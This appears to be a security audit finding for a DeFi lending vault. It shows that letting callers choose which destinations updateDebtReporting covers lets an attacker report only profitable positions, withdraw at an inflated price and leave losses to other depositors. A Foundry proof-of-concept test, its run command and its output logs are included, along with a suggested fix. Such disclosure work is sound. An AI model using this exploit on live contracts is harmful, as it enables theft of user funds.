updateDebtReporting can be front run, putting all the loss on later withdrawals but taking the profit
updateDebtReporting takes in a user input of destinations in array whose debt to report, so if a destination vault is incurring loss and is not on the front of withdrawalQueue than a attacker can just update debt for only the destination which are incurring a profit and withdraw in the same txn. He will exit the vault with profit, others who withdraw after the legit updateDebtReporting txn will suffer even more loss than they should have, as some part of the profit which was used to offset the loss was taken by the attacker and protocol fees\\nPOC-\\nLMPVault has 2000 in deposits 1000 from alice and 1000 from bob\\nVault has invested that in 1000 in DestinationVault1 & 1000 in DestinationVault2 (no idle for simple calculations)\\nNow Dv1 gain a profit of 5%(+50 base asset) while Dv2 is in 10% loss(-100 base asset)\\nSo vault has net loss of 50. Now alice does a updateDebtReporting([Dv1]) and not including Dv2 in the input array.\\nNow she withdraws her money, protocol now falsely believes there is a profit, it also take 20% profit fees(assumed) and mints 10 shares for itself and alice walks away with roughly 1020 assets, incurring no loss\\nNow a legit updateDebtReporting txn comes and bob has to account in for the loss\\nTest for POC - Add it to LMPVaultMintingTests contract in LMPVault-Withdraw.t.sol file under path test/vault. run it via the command\\n```\\nforge test --match-path test/vault/LMPVault-Withdraw.t.sol --match-test test_AvoidTheLoss -vv\\n```\\n\\n```\\nfunction test_AvoidTheLoss() public {\\n\\n// for simplicity sake, i'll be assuming vault keeps nothing idle\\n\\n// as it does not affect the attack vector in any ways\\n\\n_accessController.grantRole(Roles.SOLVER_ROLE, address(this));\\n\\n_accessController.grantRole(Roles.LMP_FEE_SETTER_ROLE, address(this));\\n\\naddress feeSink = vm.addr(555);\\n\\n_lmpVault.setFeeSink(feeSink);\\n\\n_lmpVault.setPerformanceFeeBps(2000); // 20%\\n\\naddress alice = address(789);\\n\\nuint initialBalanceAlice = 1000;\\n\\n// User is going to deposit 1000 asset\\n\\n_asset.mint(address(this), 1000);\\n\\n_asset.approve(address(_lmpVault), 1000);\\n\\nuint shareBalUser = _lmpVault.deposit(1000, address(this));\\n\\n_underlyerOne.mint(address(this),500);\\n\\n_underlyerOne.approve(address(_lmpVault),500);\\n\\n_lmpVault.rebalance(\\n\\naddress(_destVaultOne),\\n\\naddress(_underlyerOne),\\n\\n500,\\n\\naddress(0),\\n\\naddress(_asset),\\n\\n1000\\n\\n);\\n\\n_asset.mint(alice,initialBalanceAlice);\\n\\nvm.startPrank(alice);\\n\\n_asset.approve(address(_lmpVault),initialBalanceAlice);\\n\\nuint shareBalAlice = _lmpVault.deposit(initialBalanceAlice,alice);\\n\\nvm.stopPrank();\\n\\n// rebalance to 2nd vault\\n\\n_underlyerTwo.mint(address(this), 1000);\\n\\n_underlyerTwo.approve(address(_lmpVault),1000);\\n\\n_lmpVault.rebalance(\\n\\naddress(_destVaultTwo),\\n\\naddress(_underlyerTwo),\\n\\n1000,\\n\\naddress(0),\\n\\naddress(_asset),\\n\\n1000\\n\\n);\\n\\n// the second destVault incurs loss, 10%\\n\\n_mockRootPrice(address(_underlyerTwo), 0.9 ether);\\n\\n  \\n\\n// the first vault incurs some profit, 5%\\n\\n// so lmpVault is in netLoss of 50 baseAsset\\n\\n_mockRootPrice(address(_underlyerOne), 2.1 ether);\\n\\n// malicious updateDebtReporting by alice\\n\\naddress[] memory alteredDestinations = new address[](1);\\n\\nalteredDestinations[0] = address(_destVaultOne);\\n\\nvm.prank(alice);\\n\\n_lmpVault.updateDebtReporting(alteredDestinations);\\n\\n  \\n\\n// alice withdraws first\\n\\nvm.prank(alice);\\n\\n_lmpVault.redeem(shareBalAlice , alice,alice);\\n\\nuint finalBalanceAlice = _asset.balanceOf(alice);\\n\\nemit log_named_uint("final Balance of alice ", finalBalanceAlice);\\n\\n// protocol also collects its fees\\n\\n// further wrecking the remaining LPs\\n\\nemit log_named_uint("Fees shares give to feeSink ", _lmpVault.balanceOf(feeSink));\\n\\nassertGt( finalBalanceAlice, initialBalanceAlice);\\n\\nassertGt(_lmpVault.balanceOf(feeSink), 0);\\n\\n// now updateDebtReporting again but for all DVs\\n\\n_lmpVault.updateDebtReporting(_destinations);\\n\\n  \\n\\nemit log_named_uint("Remaining LPs can only get ",_lmpVault.maxWithdraw(address(this)));\\n\\nemit log_named_uint("Protocol falsely earned(in base asset)", _lmpVault.maxWithdraw(feeSink));\\n\\nemit log_named_uint("Vault totalAssets" , _lmpVault.totalAssets());\\n\\nemit log_named_uint("Effective loss take by LPs", 1000 - _lmpVault.maxWithdraw(address(this)));\\n\\nemit log_named_uint("Profit for Alice",_asset.balanceOf(alice) - initialBalanceAlice);\\n\\n}\\n```\\n\\nLogs: final Balance of alice : 1019 Fees shares give to feeSink : 10 Remaining LPs can only get : 920 Protocol falsely earned(in base asset): 9 Vault totalAssets: 930 Effective loss take by LPs: 80 Profit for Alice: 19
updateDebtReporting should not have any input param, should by default update for all added destination vaults
Theft of user funds. Submitting as high as attacker only needs to frontrun a updateDebtReporting txn with malicious input and withdraw his funds.
```\\nforge test --match-path test/vault/LMPVault-Withdraw.t.sol --match-test test_AvoidTheLoss -vv\\n```\\n